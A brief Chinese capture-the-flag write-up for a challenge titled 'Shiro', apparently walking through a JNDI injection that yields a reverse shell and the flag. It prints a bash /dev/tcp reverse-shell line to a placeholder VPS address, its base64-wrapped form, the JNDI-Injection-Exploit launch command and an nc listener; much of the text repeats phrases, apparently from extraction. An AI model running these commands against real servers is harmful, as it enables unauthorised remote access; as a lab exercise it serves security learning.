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赛题：赛题：Shiro?

需要准备的环境：需要准备的环境：

反弹shell需要准备VPS、JNDI-Injection-Exploit工具启动rmi和ldap服务
JNDI-Injection-Exploit 需要jdk、mvn环境编译
VPS centos7
mvn 3.8.4
jdk 1.8

打开赛题打开赛题
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测试存在漏洞测试存在漏洞

这里我用的是这里我用的是VPS的外网地址的外网地址

成功获取到请求响应成功获取到请求响应



反弹反弹shell步骤步骤

bash -i >&/dev/tcp/x.x.x.x/1111 0>&1

bash -c {echo,上面命令上面命令base64编码后的内容编码后的内容}|{base64,-d}|{bash,-i}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}” -A
x.x.x.x

启动服务：启动服务：



另起一个服务监听另起一个服务监听1111端口端口

nc -lvvp 1111 (nc需要自己安装需要自己安装)



成功获取成功获取shell



成功拿到成功拿到flag
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